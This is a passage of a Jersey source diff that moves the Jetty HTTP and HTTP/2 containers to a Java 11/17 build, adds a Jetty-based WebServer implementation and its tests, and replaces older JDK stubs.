+import java.util.concurrent.CompletionException;
+
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.core.Application;
+
+import org.eclipse.jetty.server.ServerConnector;
+import org.eclipse.jetty.util.ssl.SslContextFactory;
+import org.glassfish.jersey.server.ContainerFactory;
+import org.glassfish.jersey.server.JerseySeBootstrapConfiguration;
+import org.glassfish.jersey.server.spi.WebServer;
+
+/**
+ * Jersey {@code Server} implementation based on Jetty
+ * {@link org.eclipse.jetty.server.Server Server}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+final class JettyHttpServer implements WebServer {
+
+ private final JettyHttpContainer container;
+
+ private final org.eclipse.jetty.server.Server httpServer;
+
+ JettyHttpServer(final Application application, final JerseySeBootstrapConfiguration configuration) {
+ this(ContainerFactory.createContainer(JettyHttpContainer.class, application), configuration);
+ }
+
+ JettyHttpServer(final Class<? extends Application> applicationClass,
+ final JerseySeBootstrapConfiguration configuration) {
+ this(new JettyHttpContainer(applicationClass), configuration);
+ }
+
+ JettyHttpServer(final JettyHttpContainer container, final JerseySeBootstrapConfiguration configuration) {
+ final SeBootstrap.Configuration.SSLClientAuthentication sslClientAuthentication = configuration
+ .sslClientAuthentication();
+ final SslContextFactory.Server sslContextFactory;
+ if (configuration.isHttps()) {
+ sslContextFactory = new SslContextFactory.Server();
+ sslContextFactory.setSslContext(configuration.sslContext());
+ sslContextFactory.setWantClientAuth(sslClientAuthentication == OPTIONAL);
+ sslContextFactory.setNeedClientAuth(sslClientAuthentication == MANDATORY);
+ } else {
+ sslContextFactory = null;
+ }
+ this.container = container;
+ this.httpServer = JettyHttpContainerFactory.createServer(
+ configuration.uri(true),
+ sslContextFactory,
+ this.container,
+ configuration.autoStart());
+ }
+
+ @Override
+ public final JettyHttpContainer container() {
+ return this.container;
+ }
+
+ @Override
+ public final int port() {
+ final ServerConnector serverConnector = (ServerConnector) this.httpServer.getConnectors()[0];
+ final int configuredPort = serverConnector.getPort();
+ final int localPort = serverConnector.getLocalPort();
+ return localPort < 0 ? configuredPort : localPort;
+ }
+
+ @Override
+ public final CompletableFuture<Void> start() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.start();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final CompletableFuture<Void> stop() {
+ return CompletableFuture.runAsync(() -> {
+ try {
+ this.httpServer.stop();
+ } catch (final Exception e) {
+ throw new CompletionException(e);
+ }
+ });
+ }
+
+ @Override
+ public final <T> T unwrap(final Class<T> nativeClass) {
+ return nativeClass.cast(this.httpServer);
+ }
+
+}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java
deleted file mode 100644
index a2159c8..0000000
--- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainer.java
+++ /dev/null
@@ -1,62 +0,0 @@
-/*
- * Copyright (c) 2020, 2023 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import jakarta.ws.rs.core.Application;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ApplicationHandler;
-import org.glassfish.jersey.server.ResourceConfig;
-import org.glassfish.jersey.server.spi.Container;
-
-/**
- * Jersey {@code Container} stub based on Jetty {@link org.eclipse.jetty.server.Handler}.
- *
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- *
- */
-public final class JettyHttpContainer implements Container {
-
- public JettyHttpContainer(Application application) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- public JettyHttpContainer(Application application, final Object parentContext) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- @Override
- public ResourceConfig getConfiguration() {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- @Override
- public ApplicationHandler getApplicationHandler() {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- @Override
- public void reload() {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
- @Override
- public void reload(ResourceConfig configuration) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
-
-}
diff --git a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java b/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
deleted file mode 100644
index 1218c2e..0000000
--- a/containers/jetty-http/src/main/java8/org/glassfish/jersey/jetty/JettyHttpContainerFactory.java
+++ /dev/null
@@ -1,93 +0,0 @@
-/*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
- *
- * This program and the accompanying materials are made available under the
- * terms of the Eclipse Public License v. 2.0, which is available at
- * http://www.eclipse.org/legal/epl-2.0.
- *
- * This Source Code may also be made available under the following Secondary
- * Licenses when the conditions for such availability set forth in the
- * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
- * version 2 with the GNU Classpath Exception, which is available at
- * https://www.gnu.org/software/classpath/license.html.
- *
- * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
- */
-
-package org.glassfish.jersey.jetty;
-
-import jakarta.ws.rs.ProcessingException;
-import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.util.ssl.SslContextFactory;
-import org.glassfish.jersey.internal.util.JdkVersion;
-import org.glassfish.jersey.jetty.internal.LocalizationMessages;
-import org.glassfish.jersey.server.ResourceConfig;
-
-import java.net.URI;
-
-/**
- * Jersey {@code Container} stub.
- *
- * For JDK 1.8 only since Jetty 11 does not support JDKs below 11
- *
- */
-public final class JettyHttpContainerFactory {
-
- private JettyHttpContainerFactory() {
- }
-
- public static Server createServer(final URI uri) throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final boolean start) throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final ResourceConfig config)
- throws ProcessingException {
-
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final ResourceConfig configuration, final boolean start)
- throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final ResourceConfig config, final boolean start,
- final Object parentContext) {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final ResourceConfig config, final Object parentContext) {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- public static Server createServer(final URI uri, final SslContextFactory.Server sslContextFactory,
- final ResourceConfig config)
- throws ProcessingException {
- validateJdk();
- return null; // does not work at JDK 1.8 }
- }
-
- public static Server createServer(final URI uri,
- final SslContextFactory.Server sslContextFactory,
- final JettyHttpContainer handler,
- final boolean start) {
- validateJdk();
- return null; // does not work at JDK 1.8
- }
-
- private static void validateJdk() {
- if (JdkVersion.getJdkVersion().getMajor() < 11) {
- throw new ProcessingException(LocalizationMessages.NOT_SUPPORTED());
- }
- }
-}
diff --git a/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
new file mode 100644
index 0000000..403cc50
--- /dev/null
+++ b/containers/jetty-http/src/main/resources/META-INF/services/org.glassfish.jersey.server.spi.WebServerProvider
@@ -0,0 +1 @@
+org.glassfish.jersey.jetty.JettyHttpServerProvider
\ No newline at end of file
diff --git a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
index 6d0d06c..2fb2350 100644
--- a/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
+++ b/containers/jetty-http/src/main/resources/org/glassfish/jersey/jetty/internal/localization.properties
@@ -1,5 +1,5 @@
#
-# Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+# Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
#
# This program and the accompanying materials are made available under the
# terms of the Eclipse Public License v. 2.0, which is available at
@@ -15,10 +15,11 @@
#
# {0} - status code; {1} - status reason message
+container.started=JettyHttpContainer.handle(...) started.
exception.sending.error.response=I/O exception occurred while sending "{0}/{1}" error response.
error.when.creating.server=Exception thrown when trying to create jetty server.
unable.to.close.response=Unable to close response output.
uri.cannot.be.null=The URI must not be null.
wrong.scheme.when.using.http=The URI scheme should be 'http' when not using SSL.
wrong.scheme.when.using.https=The URI scheme should be 'https' when using SSL.
-not.supported=Jetty container is not supported on JDK version less than 11.
+not.supported=Jetty container is not supported on JDK version less than 17.
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
index 3a953e1..7519624 100644
--- a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/AbstractJettyServerTester.java
@@ -1,5 +1,6 @@
/*
* Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2022 Contributors to the Eclipse Foundation
*
* This program and the accompanying materials are made available under the
* terms of the Eclipse Public License v. 2.0, which is available at
@@ -29,6 +30,7 @@
import org.glassfish.jersey.server.ResourceConfig;
import org.eclipse.jetty.server.Server;
+import org.eclipse.jetty.server.ServerConnector;
import org.junit.jupiter.api.AfterEach;
/**
@@ -51,20 +53,24 @@
* @return The HTTP port of the URI
*/
protected final int getPort() {
+ if (server != null) {
+ return ((ServerConnector) server.getConnectors()[0]).getLocalPort();
+ }
+
final String value = AccessController
.doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
if (value != null) {
try {
final int i = Integer.parseInt(value);
- if (i <= 0) {
- throw new NumberFormatException("Value not positive.");
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
}
return i;
} catch (NumberFormatException e) {
LOGGER.log(Level.CONFIG,
"Value of 'jersey.config.test.container.port'"
- + " property is not a valid positive integer [" + value + "]."
+ + " property is not a valid non-negative integer [" + value + "]."
+ " Reverting to default [" + DEFAULT_PORT + "].",
e);
}
@@ -89,18 +95,16 @@
return UriBuilder.fromUri("http://localhost").port(getPort(RuntimeType.CLIENT)).path(CONTEXT);
}
- public void startServer(Class... resources) {
+ public void startServer(Class<?>... resources) {
ResourceConfig config = new ResourceConfig(resources);
config.register(new LoggingFeature(LOGGER, LoggingFeature.Verbosity.PAYLOAD_ANY));
- final URI baseUri = getBaseUri();
- server = JettyHttpContainerFactory.createServer(baseUri, config);
- LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ startServer(config);
}
public void startServer(ResourceConfig config) {
final URI baseUri = getBaseUri();
server = JettyHttpContainerFactory.createServer(baseUri, config);
- LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + server.getURI());
+ LOGGER.log(Level.INFO, "Jetty-http server started on base uri: " + getBaseUri());
}
public URI getBaseUri() {
diff --git a/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
new file mode 100644
index 0000000..004a334
--- /dev/null
+++ b/containers/jetty-http/src/test/java/org/glassfish/jersey/jetty/JettyHttpServerProviderTest.java
@@ -0,0 +1,196 @@
+/*
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2018 Markus KARG. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.jetty;
+
+import static java.lang.Boolean.FALSE;
+import static java.lang.Boolean.TRUE;
+import static org.hamcrest.CoreMatchers.instanceOf;
+import static org.hamcrest.CoreMatchers.is;
+import static org.hamcrest.CoreMatchers.nullValue;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.hamcrest.Matchers.greaterThan;
+
+import java.security.AccessController;
+import java.security.NoSuchAlgorithmException;
+import java.util.Collections;
+import java.util.Set;
+import java.util.concurrent.CompletionStage;
+import java.util.concurrent.ExecutionException;
+import java.util.concurrent.TimeUnit;
+import java.util.logging.Level;
+import java.util.logging.Logger;
+
+import javax.net.ssl.SSLContext;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.SeBootstrap;
+import jakarta.ws.rs.SeBootstrap.Configuration.SSLClientAuthentication;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.client.ClientBuilder;
+import jakarta.ws.rs.core.Application;
+import jakarta.ws.rs.core.UriBuilder;
+
+import org.glassfish.jersey.internal.util.PropertiesHelper;
+import org.glassfish.jersey.server.ServerProperties;
+import org.glassfish.jersey.server.spi.Container;
+import org.glassfish.jersey.server.spi.WebServer;
+import org.glassfish.jersey.server.spi.WebServerProvider;
+import org.junit.jupiter.api.Test;
+import org.junit.jupiter.api.Timeout;
+
+/**
+ * Unit tests for {@link JettyHttpServerProvider}.
+ *
+ * @author Markus KARG (markus@headcrashing.eu)
+ * @since 3.1.0
+ */
+public final class JettyHttpServerProviderTest {
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServer() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ shouldProvideServer(ShouldProvideServerApplication.class, resource);
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public void shouldProvideServerWithClass() throws InterruptedException, ExecutionException {
+ // given
+ final Resource resource = new Resource();
+ final Application application = new ShouldProvideServerApplication();
+ shouldProvideServer(application.getClass(), resource);
+ }
+
+ private void shouldProvideServer(final Object application, final Resource resource)
+ throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final SeBootstrap.Configuration configuration = configuration(getPort(), FALSE);
+
+ // when
+ final WebServer webServer = Application.class.isInstance(application)
+ ? webServerProvider.createServer(WebServer.class, (Application) application, configuration)
+ : webServerProvider.createServer(WebServer.class, (Class<Application>) application, configuration);
+ final Object nativeHandle = webServer.unwrap(Object.class);
+ final CompletionStage<?> start = webServer.start();
+ final Object startResult = start.toCompletableFuture().get();
+ final Container container = webServer.container();
+ final int port = webServer.port();
+ final String entity = ClientBuilder.newClient()
+ .target(UriBuilder.newInstance().scheme("http").host("localhost").port(port).build()).request()
+ .get(String.class);
+ final CompletionStage<?> stop = webServer.stop();
+ final Object stopResult = stop.toCompletableFuture().get();
+
+ // then
+ assertThat(webServer, is(instanceOf(JettyHttpServer.class)));
+ assertThat(nativeHandle, is(instanceOf(org.eclipse.jetty.server.Server.class)));
+ assertThat(startResult, is(nullValue()));
+ assertThat(container, is(instanceOf(JettyHttpContainer.class)));
+ assertThat(port, is(greaterThan(0)));
+ assertThat(entity, is(resource.toString()));
+ assertThat(stopResult, is(nullValue()));
+ }
+
+ @Path("/")
+ protected static final class Resource {
+ @GET
+ @Override
+ public String toString() {
+ return Resource.class.getName();
+ }
+ }
+
+ protected static class ShouldProvideServerApplication extends Application {
+ @Override
+ public Set<Object> getSingletons() {
+ return Collections.singleton(new Resource());
+ }
+ }
+
+ private static final Logger LOGGER = Logger.getLogger(JettyHttpServerProviderTest.class.getName());
+
+ private static final int DEFAULT_PORT = 0;
+
+ private static final int getPort() {
+ final String value = AccessController
+ .doPrivileged(PropertiesHelper.getSystemProperty("jersey.config.test.container.port"));
+ if (value != null) {
+ try {
+ final int i = Integer.parseInt(value);
+ if (i < 0) {
+ throw new NumberFormatException("Value is negative.");
+ }
+ return i;
+ } catch (final NumberFormatException e) {
+ LOGGER.log(Level.CONFIG,
+ "Value of 'jersey.config.test.container.port'"
+ + " property is not a valid non-negative integer [" + value + "]."
+ + " Reverting to default [" + DEFAULT_PORT + "].",
+ e);
+ }
+ }
+
+ return DEFAULT_PORT;
+ }
+
+ @Test
+ @Timeout(value = 15000L, unit = TimeUnit.MILLISECONDS)
+ public final void shouldScanFreePort() throws InterruptedException, ExecutionException {
+ // given
+ final WebServerProvider webServerProvider = new JettyHttpServerProvider();
+ final Application application = new Application();
+ final SeBootstrap.Configuration configuration = configuration(SeBootstrap.Configuration.FREE_PORT, TRUE);
+
+ // when
+ final WebServer webServer = webServerProvider.createServer(WebServer.class, application, configuration);
+
+ // then
+ assertThat(webServer.port(), is(greaterThan(0)));
+ }
+
+ private SeBootstrap.Configuration configuration(int port, boolean autoStart) {
+ return (SeBootstrap.Configuration) name -> {
+ switch (name) {
+ case SeBootstrap.Configuration.PROTOCOL:
+ return "HTTP";
+ case SeBootstrap.Configuration.HOST:
+ return "localhost";
+ case SeBootstrap.Configuration.PORT:
+ return port;
+ case SeBootstrap.Configuration.ROOT_PATH:
+ return "/";
+ case SeBootstrap.Configuration.SSL_CLIENT_AUTHENTICATION:
+ return SSLClientAuthentication.NONE;
+ case SeBootstrap.Configuration.SSL_CONTEXT:
+ try {
+ return SSLContext.getDefault();
+ } catch (final NoSuchAlgorithmException e) {
+ throw new RuntimeException(e);
+ }
+ case ServerProperties.WEBSERVER_AUTO_START:
+ return autoStart;
+ default:
+ return null;
+ }
+ };
+ }
+
+}
\ No newline at end of file
diff --git a/containers/jetty-http2/pom.xml b/containers/jetty-http2/pom.xml
index 59d26ef..00e866c 100644
--- a/containers/jetty-http2/pom.xml
+++ b/containers/jetty-http2/pom.xml
@@ -23,7 +23,7 @@
<parent>
<artifactId>project</artifactId>
<groupId>org.glassfish.jersey.containers</groupId>
- <version>3.0.99-SNAPSHOT</version>
+ <version>3.1.99-SNAPSHOT</version>
</parent>
<artifactId>jersey-container-jetty-http2</artifactId>
@@ -32,6 +32,13 @@
<description>Jetty Http2 Container</description>
+ <properties>
+ <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+ <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+ <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+ <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+ </properties>
+
<dependencies>
<dependency>
<groupId>org.glassfish.jersey.containers</groupId>
@@ -44,16 +51,6 @@
</dependency>
<dependency>
<groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-server</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-util</artifactId>
<exclusions>
<exclusion>
@@ -63,16 +60,6 @@
</exclusions>
</dependency>
<dependency>
- <groupId>org.eclipse.jetty.http2</groupId>
- <artifactId>http2-server</artifactId>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
<groupId>org.eclipse.jetty</groupId>
<artifactId>jetty-alpn-conscrypt-server</artifactId>
<exclusions>
@@ -129,84 +116,15 @@
</resources>
</build>
- <properties>
- <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
- <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
- <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
- <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
- </properties>
-
-
<profiles>
<profile>
<id>JettyExclude</id>
<activation>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<properties>
- <jetty.version>${jetty9.version}</jetty.version>
+ <jetty.version>${jetty11.version}</jetty.version>
</properties>
- <dependencies>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-client</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- <dependency>
- <groupId>org.eclipse.jetty</groupId>
- <artifactId>jetty-util</artifactId>
- <version>${jetty.version}</version>
- <exclusions>
- <exclusion>
- <groupId>org.slf4j</groupId>
- <artifactId>slf4j-api</artifactId>
- </exclusion>
- </exclusions>
- </dependency>
- </dependencies>
- <build>
- <directory>${java8.build.outputDirectory}</directory>
- <plugins>
- <plugin>
- <groupId>org.codehaus.mojo</groupId>
- <artifactId>build-helper-maven-plugin</artifactId>
- <executions>
- <execution>
- <phase>generate-sources</phase>
- <goals>
- <goal>add-source</goal>
- </goals>
- <configuration>
- <sources>
- <source>${java8.sourceDirectory}</source>
- </sources>
- </configuration>
- </execution>
- </executions>
- </plugin>
- <plugin>
- <groupId>org.apache.maven.plugins</groupId>
- <artifactId>maven-compiler-plugin</artifactId>
- <configuration>
- <testExcludes>
- <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
- </testExcludes>
- </configuration>
- </plugin>
- </plugins>
- </build>
- </profile>
- <profile>
- <id>Jetty11</id>
- <activation>
- <jdk>[11,)</jdk>
- </activation>
<build>
<directory>${java11.build.outputDirectory}</directory>
<plugins>
@@ -227,17 +145,76 @@
</execution>
</executions>
</plugin>
+ <plugin>
+ <groupId>org.apache.maven.plugins</groupId>
+ <artifactId>maven-compiler-plugin</artifactId>
+ <configuration>
+ <testExcludes>
+ <testExclude>org/glassfish/jersey/jetty/http2/*.java</testExclude>
+ </testExcludes>
+ </configuration>
+ </plugin>
</plugins>
</build>
</profile>
<profile>
- <id>copyJDK11FilesToMultiReleaseJar</id>
+ <id>JettyInclude</id>
+ <activation>
+ <jdk>[17,)</jdk>
+ </activation>
+ <dependencies>
+ <dependency>
+ <groupId>org.eclipse.jetty</groupId>
+ <artifactId>jetty-server</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ <dependency>
+ <groupId>org.eclipse.jetty.http2</groupId>
+ <artifactId>jetty-http2-server</artifactId>
+ <exclusions>
+ <exclusion>
+ <groupId>org.slf4j</groupId>
+ <artifactId>slf4j-api</artifactId>
+ </exclusion>
+ </exclusions>
+ </dependency>
+ </dependencies>
+ <build>
+ <directory>${java17.build.outputDirectory}</directory>
+ <plugins>
+ <plugin>
+ <groupId>org.codehaus.mojo</groupId>
+ <artifactId>build-helper-maven-plugin</artifactId>
+ <executions>
+ <execution>
+ <phase>generate-sources</phase>
+ <goals>
+ <goal>add-source</goal>
+ </goals>
+ <configuration>
+ <sources>
+ <source>${java17.sourceDirectory}</source>
+ </sources>
+ </configuration>
+ </execution>
+ </executions>
+ </plugin>
+ </plugins>
+ </build>
+ </profile>
+ <profile>
+ <id>copyJDK17FilesToMultiReleaseJar</id>
<activation>
<file>
- <!-- ${java11.build.outputDirectory} does not work here -->
- <exists>target11/classes/org/glassfish/jersey/jetty/JettyHttp2ContainerFactory.class</exists>
+ <!-- ${java17.build.outputDirectory} does not work here -->
+ <exists>target17/classes/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.class</exists>
</file>
- <jdk>1.8</jdk>
+ <jdk>[11,17)</jdk>
</activation>
<build>
<plugins>
@@ -258,16 +235,16 @@
<inherited>true</inherited>
<executions>
<execution>
- <id>copy-jdk11-classes</id>
+ <id>copy-jdk17-classes</id>
<phase>prepare-package</phase>
<goals>
<goal>copy-resources</goal>
</goals>
<configuration>
- <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+ <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
<resources>
<resource>
- <directory>${java11.build.outputDirectory}/classes</directory>
+ <directory>${java17.build.outputDirectory}/classes</directory>
</resource>
</resources>
</configuration>
@@ -279,14 +256,14 @@
<artifactId>maven-antrun-plugin</artifactId>
<executions>
<execution>
- <id>copy-jdk11-sources</id>
+ <id>copy-jdk17-sources</id>
<phase>package</phase>
<configuration>
<target>
- <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+ <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
<echo>sources-jar: ${sources-jar}</echo>
<zip destfile="${sources-jar}" update="true">
- <zipfileset dir="${java11.sourceDirectory}" prefix="META-INF/versions/11"/>
+ <zipfileset dir="${java17.sourceDirectory}" prefix="META-INF/versions/17"/>
</zip>
</target>
</configuration>
@@ -301,4 +278,4 @@
</profile>
</profiles>
-</project>
+</project>
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
index a402b27..3c43588 100644
--- a/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
+++ b/containers/jetty-http2/src/main/java/org/glassfish/jersey/jetty/http2/package-info.java
@@ -17,4 +17,4 @@
/**
* Jersey Jetty HTTP2 container classes.
*/
-package org.glassfish.jersey.jetty.http2;
+package org.glassfish.jersey.jetty.http2;
\ No newline at end of file
diff --git a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
index b03f409..cdea00a 100644
--- a/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
+++ b/containers/jetty-http2/src/main/java11/org/glassfish/jersey/jetty/http2/JettyHttp2ContainerFactory.java
@@ -16,20 +16,12 @@
package org.glassfish.jersey.jetty.http2;
-import org.eclipse.jetty.alpn.server.ALPNServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2CServerConnectionFactory;
-import org.eclipse.jetty.http2.server.HTTP2ServerConnectionFactory;
-import org.eclipse.jetty.server.ConnectionFactory;
-import org.eclipse.jetty.server.Connector;
-import org.eclipse.jetty.server.HttpConfiguration;
-import org.eclipse.jetty.server.HttpConnectionFactory;
import org.eclipse.jetty.server.Server;
-import org.eclipse.jetty.server.ServerConnector;
-import org.eclipse.jetty.server.SslConnectionFactory;
import org.eclipse.jetty.util.ssl.SslContextFactory;
+
+import org.glassfish.jersey.internal.util.JdkVersion;
import org.glassfish.jersey.jetty.JettyHttpContainer;
-import org.glassfish.jersey.jetty.JettyHttpContainerFactory;
-import org.glassfish.jersey.jetty.JettyHttpContainerProvider;
+import org.glassfish.jersey.jetty.http2.LocalizationMessages;
import org.glassfish.jersey.server.ContainerFactory;
import org.glassfish.jersey.server.ResourceConfig;
@@ -44,174 +36,40 @@
}
- /**
- * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
- *
- * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
- * segment will be used as context path, the rest will be ignored.
- * @return newly created {@link Server}.
- *
- * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
- * @throws IllegalArgumentException if {@code uri} is {@code null}.
- */
public static Server createHttp2Server(final URI uri) throws ProcessingException {
- return createHttp2Server(uri, null, null, true);
+ validateJdk();
+ return null; // does not work at JDK lower than 17
}
- /**
- * Create HTTP/2 enabled {@link Server} that registers an {@link org.eclipse.jetty.server.Handler} that
- * in turn manages all root resource and provider classes declared by the
- * resource configuration.
- * <p/>
- * This implementation defers to the
- * {@link org.glassfish.jersey.server.ContainerFactory#createContainer(Class, jakarta.ws.rs.core.Application)} method
- * for creating an Container that manages the root resources.
- *
- * @param uri URI on which the Jersey web application will be deployed. Only first path segment will be
- * used as context path, the rest will be ignored.
- * @param configuration web application configuration.
- * @param start if set to false, server will not get started, which allows to configure the underlying
- * transport layer, see above for details.
- * @return newly created {@link Server}.
- *
- * @throws ProcessingException in case of any failure when creating a new Jetty {@code Server} instance.
- * @throws IllegalArgumentException if {@code uri} is {@code null}.
- */
public static Server createHttp2Server(final URI uri, final ResourceConfig configuration, final boolean start)
throws ProcessingException {
- return createHttp2Server(uri, null,
- ContainerFactory.createContainer(JettyHttpContainer.class, configuration), start);
+ validateJdk();
+ return null; // does not work at JDK lower than 17
}
- /**
- * Creates HTTP/2 enabled {@link Server} instance that registers an {@link org.eclipse.jetty.server.Handler}.
- *
- * @param uri uri on which the {@link org.glassfish.jersey.server.ApplicationHandler} will be deployed. Only first path
- * segment will be used as context path, the rest will be ignored.
- * @param start if set to false, server will not get started, which allows to configure the underlying transport
- * layer, see above for details.
- * @return newly created {@link Server}.
- *
